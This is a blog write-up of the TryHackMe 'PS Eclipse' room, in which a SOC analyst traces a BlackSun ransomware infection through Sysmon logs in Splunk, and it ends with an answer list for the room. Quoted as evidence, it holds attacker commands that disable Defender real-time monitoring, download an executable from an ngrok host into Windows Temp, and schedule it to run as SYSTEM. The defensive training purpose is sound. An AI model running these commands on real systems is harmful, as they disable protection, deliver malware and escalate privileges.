DEV Community

Cover image for TryHackMe PS Eclipse — Complete Beginner-Friendly Splunk SOC Investigation Write-Up
Md. Ibrahim Reza Rabbi
Md. Ibrahim Reza Rabbi

Posted on

TryHackMe PS Eclipse — Complete Beginner-Friendly Splunk SOC Investigation Write-Up

Introduction

This room places us in the role of a SOC Analyst working for an MSSP named TryNotHackMe.

A customer reports that suspicious activity occurred on Keegan's Windows machine on May 16, 2022. The computer is still operational, but some files have unusual extensions, which suggests that ransomware may have been executed.

Our goal is not simply to guess the answers.

We will investigate the attack logically using Splunk and reconstruct what happened from Windows telemetry.

By the end of this write-up, you should understand:

  • what Splunk is doing,
  • what the logs represent,
  • what Sysmon Event IDs mean,
  • how to search logs,
  • how to move from one clue to another,
  • how to recognize malicious activity,
  • how to reconstruct an attack timeline,
  • and how SOC analysts think during an investigation.

1. Understanding What We Are Investigating

Before writing any Splunk query, understand the situation.

We know only three important facts:

  1. The affected machine belongs to Keegan.
  2. The suspicious activity occurred on May 16, 2022.
  3. Some files now have strange extensions, suggesting possible ransomware activity.

We do not initially know:

  • what malware was used,
  • how it entered the machine,
  • what downloaded it,
  • whether privilege escalation occurred,
  • what command-and-control server it contacted,
  • what ransomware family was involved,
  • or what files the attacker created.

The job of the analyst is therefore to reconstruct the sequence from logs.


2. What Is Splunk?

Splunk is a platform used to collect, search, correlate, and analyze logs.

A company may send Windows logs, firewall logs, authentication logs, antivirus logs, Sysmon logs, and many other data sources into Splunk.

Instead of manually reading thousands of logs, we use SPL, or Search Processing Language, to search them.

A very simple Splunk query looks like:

index=main
Enter fullscreen mode Exit fullscreen mode

This means:

Search every event stored in the Splunk index named main.

An index can be thought of as a searchable container holding logs.


3. Important SPL Concepts

Before starting the challenge, understand a few commands.

Searching a Field

index=main EventCode=3
Enter fullscreen mode Exit fullscreen mode

Means:

Search the main index and return only events where EventCode equals 3.


Searching for Text

index=main "OUTSTANDING_GUTTER.exe"
Enter fullscreen mode Exit fullscreen mode

Means:

Return events containing the text OUTSTANDING_GUTTER.exe.


Wildcards

The * character means:

Match anything.

Example:

Image="*powershell.exe"
Enter fullscreen mode Exit fullscreen mode

This can match:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Enter fullscreen mode Exit fullscreen mode

because the beginning of the path does not matter.


Displaying Important Fields

| table _time Image CommandLine User
Enter fullscreen mode Exit fullscreen mode

table makes the results easier to read.

Instead of displaying the entire raw event, Splunk shows only:

  • _time
  • Image
  • CommandLine
  • User

Sorting by Time

| sort _time
Enter fullscreen mode Exit fullscreen mode

This sorts events chronologically.

That is extremely useful during incident response because attacks occur as a sequence.


Counting Values

| stats count by Image
Enter fullscreen mode Exit fullscreen mode

This groups events by process and counts how often each process appears.


4. Understanding Sysmon

The dataset in this room contains Microsoft Sysmon telemetry.

Sysmon stands for:

System Monitor

Sysmon records detailed Windows activity such as:

  • process creation,
  • network connections,
  • file creation,
  • registry modification,
  • DNS queries,
  • file deletion.

Different activity types are represented using different Event IDs.

For this investigation, the most important ones are:

EventCode Meaning
1 Process Creation
3 Network Connection
11 File Creation
22 DNS Query
23 File Delete Archived

Understanding these EventCodes is one of the most important skills in this room.


5. Set the Correct Time Range

The incident occurred on:

May 16, 2022
Enter fullscreen mode Exit fullscreen mode

Set Splunk's time picker to approximately:


May 16, 2022 00:00:00
through
May 17, 2022 23:59:59
Enter fullscreen mode Exit fullscreen mode

Using a wider range is safer when learning.

A common mistake is accidentally clicking a tiny area on Splunk's timeline. This can change the search window to only a few milliseconds.

If a valid query suddenly returns:

0 events
Enter fullscreen mode Exit fullscreen mode

always check the time range before assuming the query is wrong.


6. First Look at the Dataset

Before hunting for malware, we can understand what kinds of logs exist.

index=main
| stats count by EventCode
| sort EventCode
Enter fullscreen mode Exit fullscreen mode

This shows the different Sysmon EventCodes present in the dataset.

A SOC analyst often starts this way because it reveals what telemetry is available before performing deeper searches.


7. Question 1 — Identify the Suspicious Binary

Question

A suspicious binary was downloaded to the endpoint. What was the name of the binary?

We do not initially know the binary's name.

One useful approach is to examine network activity.

Sysmon:

EventCode 3 = Network Connection
Enter fullscreen mode Exit fullscreen mode

Run:

index=main EventCode=3
Enter fullscreen mode Exit fullscreen mode

There may be hundreds of results.

Instead of manually checking every event, group network connections by executable:

index=main EventCode=3
| stats count by Image
| sort - count
Enter fullscreen mode Exit fullscreen mode

This asks:

Which executables created the most network connections?

A highly unusual process appears:

C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

This is suspicious for several reasons:

  • it is running from C:\Windows\Temp,
  • its filename is unusual,
  • and it is responsible for a very large amount of network traffic.

To examine it further:

index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| table _time Image DestinationIp DestinationPort
| sort _time
Enter fullscreen mode Exit fullscreen mode

Answer

OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

8. Pivoting From One Clue to Another

We now know the malware filename.

This becomes our new search pivot.

Instead of searching everything, search specifically for:

OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

Run:

index=main "OUTSTANDING_GUTTER.exe"
| table _time EventCode Image ParentImage CommandLine ParentCommandLine DestinationIp DestinationHostname DestinationPort
| sort _time
Enter fullscreen mode Exit fullscreen mode

This is an important SOC technique.

You discover one indicator, then use that indicator to locate related events.

This process is called pivoting.


9. Discovering the Encoded PowerShell Command

Among the events, we find process creation activity involving:

powershell.exe
Enter fullscreen mode Exit fullscreen mode

and:

schtasks.exe
Enter fullscreen mode Exit fullscreen mode

The PowerShell command contains:

-exec bypass -enc
Enter fullscreen mode Exit fullscreen mode

Example structure:

powershell.exe -exec bypass -enc <LONG_STRING>
Enter fullscreen mode Exit fullscreen mode

The important part is:

-enc
Enter fullscreen mode Exit fullscreen mode

This means:

PowerShell is executing a Base64-encoded command.

Attackers frequently encode PowerShell commands to make them harder to read directly from logs.


10. Decoding PowerShell -EncodedCommand

Copy the long Base64 value following:

-enc
Enter fullscreen mode Exit fullscreen mode

Open CyberChef.

Use:

From Base64
Enter fullscreen mode Exit fullscreen mode

If the result looks like corrupted or strange text, do not immediately assume the Base64 is invalid.

Windows PowerShell normally encodes -EncodedCommand content using:

UTF-16LE
Enter fullscreen mode Exit fullscreen mode

Therefore use:

From Base64
↓
Decode text
↓
UTF-16LE
Enter fullscreen mode Exit fullscreen mode

The command becomes readable.

The decoded PowerShell contains activity similar to:

This single decoded command reveals a large portion of the attack.


11. Understanding the Decoded Attack Command

The first command is:

Set-MpPreference -DisableRealtimeMonitoring $true
Enter fullscreen mode Exit fullscreen mode

This disables Microsoft Defender real-time monitoring.

That is highly suspicious.

The attacker is attempting to reduce the chance that the malware will be detected.


The next part is:

wget http://886e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe -OutFile C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

This downloads the suspicious binary.

The remote server is:

886e-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

and the malware is saved as:

C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

12. Question 2 — Determine Where the Binary Was Downloaded From

The decoded PowerShell gives us:

http://886e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

The question asks for the address, not the complete file path.

Therefore:

http://886e-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

must be defanged.


13. What Does Defanging Mean?

Security analysts avoid making malicious URLs directly clickable.

A normal URL:

http://malicious.example.com
Enter fullscreen mode Exit fullscreen mode

may be transformed into:

hxxp[://]malicious[.]example[.]com
Enter fullscreen mode Exit fullscreen mode

This is called defanging.

CyberChef can perform this using:

Defang URL
Enter fullscreen mode Exit fullscreen mode

The accepted answer is:

hxxp[://]886e-181-215-214-32[.]ngrok[.]io
Enter fullscreen mode Exit fullscreen mode

Answer

hxxp[://]886e-181-215-214-32[.]ngrok[.]io
Enter fullscreen mode Exit fullscreen mode

14. Question 3 — What Executable Downloaded the Malware?

The decoded command says:

wget ...
Enter fullscreen mode Exit fullscreen mode

A beginner may think the answer is:

wget.exe
Enter fullscreen mode Exit fullscreen mode

But that would be incorrect.

In Windows PowerShell, wget is commonly an alias for:

Invoke-WebRequest
Enter fullscreen mode Exit fullscreen mode

The actual Windows executable running the command is PowerShell.

We can verify it from Splunk.

index=main EventCode=1 Image="*powershell.exe"
| table _time Image CommandLine ParentImage ParentCommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

We see:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Enter fullscreen mode Exit fullscreen mode

Another supporting event is the file creation event:

EventCode = 11
Image = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Enter fullscreen mode Exit fullscreen mode

Answer

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Enter fullscreen mode Exit fullscreen mode

15. Question 4 — Configure the Malware to Run With Elevated Privileges

The decoded command also creates a Windows Scheduled Task.

To isolate scheduled task activity:

index=main EventCode=1 Image="*schtasks.exe" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

One event contains:

"C:\Windows\system32\schtasks.exe" /Create /TN OUTSTANDING_GUTTER.exe /TR C:\Windows\Temp\COUTSTANDING_GUTTER.exe /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU SYSTEM /f
Enter fullscreen mode Exit fullscreen mode

Break the command down.

/Create

/Create
Enter fullscreen mode Exit fullscreen mode

Creates a new Scheduled Task.

/TN

/TN OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

Sets the task name.

/TR

/TR ...
Enter fullscreen mode Exit fullscreen mode

Specifies what command/program the task should run.

/SC ONEVENT

/SC ONEVENT
Enter fullscreen mode Exit fullscreen mode

Configures the task to trigger when a particular event occurs.

/EC Application

/EC Application
Enter fullscreen mode Exit fullscreen mode

Monitors the Windows Application event log.

/MO *[System/EventID=777]

The task will trigger based on Windows Event ID 777.

/RU SYSTEM

/RU SYSTEM
Enter fullscreen mode Exit fullscreen mode

This is the most important part.

It means:

Run the task using the Windows SYSTEM account.

/f

/f
Enter fullscreen mode Exit fullscreen mode

Forces task creation.

The command therefore establishes elevated execution through Windows Task Scheduler.


16. Why SYSTEM Is Important

Windows contains a built-in account called:

NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

It has extremely high privileges.

It is commonly more privileged than a normal administrator account for local system operations.

Running malware as SYSTEM gives it significant control over the machine.


17. Question 5 — Confirm the Actual Privileges

Do not rely only on:

/RU SYSTEM
Enter fullscreen mode Exit fullscreen mode

A good analyst verifies whether the malware actually executed as SYSTEM.

Search for process creation of the suspicious binary itself:

index=main EventCode=1 Image="*OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

Splunk returns:

User:
NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

and:

Image:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

Therefore the malware truly executed with SYSTEM privileges.


Now find the command that triggered the scheduled task:

index=main EventCode=1 Image="*schtasks.exe" CommandLine="*/Run*" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

We find:

"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

The required answer format is:

User;CommandLine
Enter fullscreen mode Exit fullscreen mode

Answer

NT AUTHORITY\SYSTEM;"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

18. Understanding the Privilege Chain

The important distinction is:

DESKTOP-TBV8NEF\keegan
Enter fullscreen mode Exit fullscreen mode

may execute the command that creates or triggers the task.

But the scheduled task itself is configured with:

/RU SYSTEM
Enter fullscreen mode Exit fullscreen mode

Therefore the malware executes as:

NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

Attack chain:

Keegan's PowerShell
        ↓
schtasks /Create
        ↓
/RU SYSTEM
        ↓
Scheduled Task
        ↓
schtasks /Run
        ↓
OUTSTANDING_GUTTER.exe
        ↓
NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

19. Question 6 — Where Did the Malware Connect?

We already know the malicious binary generated many network connections.

Use:

index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| stats count by DestinationIp DestinationHostname DestinationPort
| sort - count
Enter fullscreen mode Exit fullscreen mode

The malware connects to several IP addresses over:

DestinationPort = 443
Enter fullscreen mode Exit fullscreen mode

Examples include:

3.17.7.232
3.14.182.203
3.134.39.220
3.134.125.175
3.22.30.40
Enter fullscreen mode Exit fullscreen mode

However, DestinationHostname is empty.

This is where we must correlate another type of log.


20. DNS Queries and Sysmon EventCode 22

Sysmon:

EventCode 22 = DNS Query
Enter fullscreen mode Exit fullscreen mode

DNS translates domain names into IP addresses.

Search:

index=main EventCode=22 "OUTSTANDING_GUTTER.exe"
| table _time Image ProcessId QueryName QueryStatus QueryResults
| sort _time
Enter fullscreen mode Exit fullscreen mode

We find:

Image:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

with:

QueryName:
9030-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

and several IP addresses in QueryResults.

This explains the different destination IPs from EventCode 3.

The malicious process repeatedly resolved the same domain, and the service returned different IP addresses.

This is an important example of correlation.

EventCode 3 told us:

Which IP addresses?
Enter fullscreen mode Exit fullscreen mode

EventCode 22 told us:

Which domain name?
Enter fullscreen mode Exit fullscreen mode

21. Question 6 Answer

Original domain:

http://9030-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

Defanged:

hxxp[://]9030-181-215-214-32[.]ngrok[.]io
Enter fullscreen mode Exit fullscreen mode

Answer

hxxp[://]9030-181-215-214-32[.]ngrok[.]io
Enter fullscreen mode Exit fullscreen mode

22. Important Observation — Two Different Servers

Do not confuse these two domains.

Malware download server

886e-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

Used to download:

OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

Server contacted by the malware

9030-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

This appears after the malware executes.

The attack therefore looks like:

PowerShell
   ↓
Download server
886e-181-215-214-32.ngrok.io
   ↓
OUTSTANDING_GUTTER.exe
   ↓
Execution
   ↓
Remote server
9030-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

23. Question 7 — Identify the Downloaded PowerShell Script

The next clue says:

A PowerShell script was downloaded to the same location as the suspicious binary.

We already know that location:

C:\Windows\Temp\
Enter fullscreen mode Exit fullscreen mode

Since we are looking for a created file, use:

EventCode 11 = File Creation
Enter fullscreen mode Exit fullscreen mode

Search:

index=main EventCode=11 TargetFilename="C:\\Windows\\Temp\\*"
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

Several legitimate temporary files appear.

Examples include:

__PSScriptPolicyTest_*.ps1
__PSScriptPolicyTest_*.psm1
Enter fullscreen mode Exit fullscreen mode

These are PowerShell-generated policy test files and should not automatically be treated as malware.

The interesting event is:

Image:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Enter fullscreen mode Exit fullscreen mode

and:

TargetFilename:
C:\Windows\Temp\script.ps1
Enter fullscreen mode Exit fullscreen mode

We can narrow searches to .ps1:

index=main EventCode=11 TargetFilename="*.ps1"
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

Answer

script.ps1
Enter fullscreen mode Exit fullscreen mode

24. Question 8 — Determine the Script's Real Malware Name

The filename:

script.ps1
Enter fullscreen mode Exit fullscreen mode

is generic.

Attackers frequently rename malware.

We therefore need another identifying attribute.

Search:

index=main "script.ps1"
| table _time EventCode Image TargetFilename Hashes
| sort _time
Enter fullscreen mode Exit fullscreen mode

An EventCode 23 event appears.

Remember:

EventCode 23 = File Delete Archived
Enter fullscreen mode Exit fullscreen mode

The event contains cryptographic hashes for the file.

One of them is:

SHA256=E5429F2E44990B3D4E249C566FBF19741E671C0E40B809F87248D9EC9114BEF9
Enter fullscreen mode Exit fullscreen mode

25. Why File Hashes Matter

A cryptographic hash acts like a digital fingerprint.

If two files have the same SHA-256 hash, they are effectively the same binary/file content for practical malware-identification purposes.

Security analysts can search hashes using threat intelligence services such as VirusTotal.

The SHA-256 identifies the PowerShell payload as:

BlackSun.ps1
Enter fullscreen mode Exit fullscreen mode

Answer

BlackSun.ps1
Enter fullscreen mode Exit fullscreen mode

26. Question 9 — Find the Ransom Note

Ransomware usually leaves instructions for the victim.

These files often contain words such as:

README
DECRYPT
RECOVER
RANSOM
Enter fullscreen mode Exit fullscreen mode

and are frequently stored as .txt files.

Since the note was written to disk, use EventCode 11 again:

index=main EventCode=11 TargetFilename="*.txt"
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

Only one highly suspicious result appears:

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
Enter fullscreen mode Exit fullscreen mode

The filename itself strongly supports ransomware behavior:

BlackSun_README.txt
Enter fullscreen mode Exit fullscreen mode

Answer

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
Enter fullscreen mode Exit fullscreen mode

27. Question 10 — Find the Ransomware Wallpaper

Many ransomware families modify the desktop wallpaper to tell the victim that their files were encrypted.

The question tells us an image was saved to disk.

We can search common image extensions:

index=main EventCode=11
(TargetFilename="*.jpg" OR TargetFilename="*.jpeg" OR TargetFilename="*.png" OR TargetFilename="*.bmp")
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

Splunk returns:

TargetFilename:
C:\Users\Public\Pictures\blacksun.jpg
Enter fullscreen mode Exit fullscreen mode

The process creating it is:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Enter fullscreen mode Exit fullscreen mode

and the user is:

NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

Answer

C:\Users\Public\Pictures\blacksun.jpg
Enter fullscreen mode Exit fullscreen mode

28. Complete Attack Timeline

We can now reconstruct the attack chronologically.

Stage 1 — PowerShell Execution

A PowerShell process executes an encoded command:

powershell.exe -exec bypass -enc ...
Enter fullscreen mode Exit fullscreen mode

Stage 2 — Command Decoding

The Base64 command is decoded using:

From Base64
↓
UTF-16LE
Enter fullscreen mode Exit fullscreen mode

Stage 3 — Defender Is Weakened

The attacker runs:

Set-MpPreference -DisableRealtimeMonitoring $true
Enter fullscreen mode Exit fullscreen mode

Microsoft Defender real-time monitoring is disabled.


Stage 4 — Malware Download

PowerShell downloads:

OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

from:

886e-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

and stores it at:

C:\Windows\Temp\OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

Stage 5 — Scheduled Task Creation

The attacker uses:

schtasks.exe
Enter fullscreen mode Exit fullscreen mode

to create a task associated with the malicious executable.

The critical option is:

/RU SYSTEM
Enter fullscreen mode Exit fullscreen mode

Stage 6 — Elevated Execution

The task is started using:

"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

The malicious binary subsequently runs as:

NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

Stage 7 — Command-and-Control Communication

The malware resolves:

9030-181-215-214-32.ngrok.io
Enter fullscreen mode Exit fullscreen mode

and connects to multiple IP addresses on:

TCP/443
Enter fullscreen mode Exit fullscreen mode

Stage 8 — Additional PowerShell Payload

A new PowerShell script appears:

C:\Windows\Temp\script.ps1
Enter fullscreen mode Exit fullscreen mode

Stage 9 — Malware Identification

The script's SHA-256 hash identifies it as:

BlackSun.ps1
Enter fullscreen mode Exit fullscreen mode

Stage 10 — Ransomware Artifacts

A ransom note is created:

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
Enter fullscreen mode Exit fullscreen mode

A ransomware wallpaper is also created:

C:\Users\Public\Pictures\blacksun.jpg
Enter fullscreen mode Exit fullscreen mode

At this point, the evidence strongly confirms ransomware activity.


29. Final Investigation Chain

PowerShell
   │
   ├── -exec bypass
   │
   └── -enc Base64
          │
          ▼
Encoded command decoded
          │
          ▼
Microsoft Defender real-time monitoring disabled
          │
          ▼
OUTSTANDING_GUTTER.exe downloaded
          │
          ▼
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
          │
          ▼
Scheduled Task created
          │
          ▼
/RU SYSTEM
          │
          ▼
Malware executes as
NT AUTHORITY\SYSTEM
          │
          ▼
DNS query
9030-181-215-214-32.ngrok.io
          │
          ▼
HTTPS network connections
          │
          ▼
script.ps1 created
          │
          ▼
SHA-256 reputation lookup
          │
          ▼
BlackSun.ps1
          │
          ▼
Ransomware activity
      ┌───┴────────────────────┐
      ▼                        ▼
BlackSun_README.txt      blacksun.jpg
Ransom note              Wallpaper
Enter fullscreen mode Exit fullscreen mode

30. Final Answers

# Question Answer
1 Suspicious binary OUTSTANDING_GUTTER.exe
2 Download server hxxp[://]886e-181-215-214-32[.]ngrok[.]io
3 Downloader executable C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
4 Elevated task configuration Scheduled task created with schtasks.exe and /RU SYSTEM
5 Privileges + execution command NT AUTHORITY\SYSTEM;"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe
6 Remote server contacted hxxp[://]9030-181-215-214-32[.]ngrok[.]io
7 Downloaded PowerShell script script.ps1
8 Actual malicious script BlackSun.ps1
9 Ransom note C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
10 Wallpaper C:\Users\Public\Pictures\blacksun.jpg

31. Core Splunk Queries From the Investigation

Discover available EventCodes

index=main
| stats count by EventCode
| sort EventCode
Enter fullscreen mode Exit fullscreen mode

Identify executables making network connections

index=main EventCode=3
| stats count by Image
| sort - count
Enter fullscreen mode Exit fullscreen mode

Investigate the suspicious executable

index=main "OUTSTANDING_GUTTER.exe"
| table _time EventCode Image ParentImage CommandLine ParentCommandLine DestinationIp DestinationHostname DestinationPort
| sort _time
Enter fullscreen mode Exit fullscreen mode

Investigate PowerShell execution

index=main EventCode=1 Image="*powershell.exe"
| table _time Image CommandLine ParentImage ParentCommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

Investigate Scheduled Tasks

index=main EventCode=1 Image="*schtasks.exe" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

Find Scheduled Task /Run

index=main EventCode=1 Image="*schtasks.exe" CommandLine="*/Run*" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

Verify Malware Privileges

index=main EventCode=1 Image="*OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time
Enter fullscreen mode Exit fullscreen mode

Investigate Malware Network Connections

index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| stats count by DestinationIp DestinationHostname DestinationPort
| sort - count
Enter fullscreen mode Exit fullscreen mode

Investigate DNS Queries

index=main EventCode=22
| table _time Image ProcessId QueryName QueryStatus QueryResults
| sort _time
Enter fullscreen mode Exit fullscreen mode

Find Files Created in Windows Temp

index=main EventCode=11 TargetFilename="C:\\Windows\\Temp\\*"
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

Find PowerShell Scripts

index=main EventCode=11 TargetFilename="*.ps1"
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

Find the Script Hash

index=main "script.ps1"
| table _time EventCode Image TargetFilename Hashes
| sort _time
Enter fullscreen mode Exit fullscreen mode

Find Text Files

index=main EventCode=11 TargetFilename="*.txt"
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

Find Created Images

index=main EventCode=11
(TargetFilename="*.jpg" OR TargetFilename="*.jpeg" OR TargetFilename="*.png" OR TargetFilename="*.bmp")
| table _time Image TargetFilename User
| sort _time
Enter fullscreen mode Exit fullscreen mode

32. The Most Important Lesson: Think in Pivots

The most important lesson from this room is not memorizing the answers.

It is learning how to move from one piece of evidence to another.

The investigation began with almost nothing:

Possible ransomware
Enter fullscreen mode Exit fullscreen mode

We found:

Suspicious network process
Enter fullscreen mode Exit fullscreen mode

which gave us:

OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

That filename led us to:

PowerShell
Enter fullscreen mode Exit fullscreen mode

PowerShell revealed:

Base64
Enter fullscreen mode Exit fullscreen mode

Decoding Base64 revealed:

Download URL
Scheduled Task
SYSTEM privileges
Enter fullscreen mode Exit fullscreen mode

The malware process then led us to:

Network connections
Enter fullscreen mode Exit fullscreen mode

Network connections led us to:

DNS queries
Enter fullscreen mode Exit fullscreen mode

File creation events revealed:

script.ps1
Enter fullscreen mode Exit fullscreen mode

The script's hash revealed:

BlackSun.ps1
Enter fullscreen mode Exit fullscreen mode

And additional file creation events revealed:

Ransom note
Wallpaper
Enter fullscreen mode Exit fullscreen mode

That is how a SOC investigation should be approached.

Do not ask:

What query gives me the final answer?

Ask:

What do I currently know, and which log source can tell me what happened next?


33. A Beginner's SOC Investigation Mental Model

When investigating Windows incidents using Sysmon, remember this simple model:

What executed?
        ↓
EventCode 1

Where did it connect?
        ↓
EventCode 3

What domain did it resolve?
        ↓
EventCode 22

What files did it create?
        ↓
EventCode 11

What files were deleted?
        ↓
EventCode 23
Enter fullscreen mode Exit fullscreen mode

Then correlate:

Process
   ↓
Parent process
   ↓
Command line
   ↓
Network
   ↓
DNS
   ↓
Files
   ↓
User
   ↓
Timeline
Enter fullscreen mode Exit fullscreen mode

This method is far more valuable than memorizing individual Splunk commands.


34. Final Conclusion

The investigation confirms that Keegan's machine experienced ransomware-related malicious activity.

The attack used an encoded PowerShell command to disable Microsoft Defender real-time monitoring and download a suspicious executable named:

OUTSTANDING_GUTTER.exe
Enter fullscreen mode Exit fullscreen mode

The attacker used Windows Task Scheduler to configure elevated execution under:

NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

The malware contacted an ngrok-hosted remote server and subsequently resulted in the creation of:

script.ps1
Enter fullscreen mode Exit fullscreen mode

The script was identified as:

BlackSun.ps1
Enter fullscreen mode Exit fullscreen mode

Further evidence included the ransom note:

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt
Enter fullscreen mode Exit fullscreen mode

and ransomware wallpaper:

C:\Users\Public\Pictures\blacksun.jpg
Enter fullscreen mode Exit fullscreen mode

The overall evidence confirms malicious PowerShell execution, security-control impairment, malware delivery, elevated execution, remote communication, secondary payload delivery, and ransomware artifacts.

The key skill demonstrated by this room is log correlation: using one IOC or event to locate the next part of the attack until the complete incident timeline becomes clear.

Top comments (0)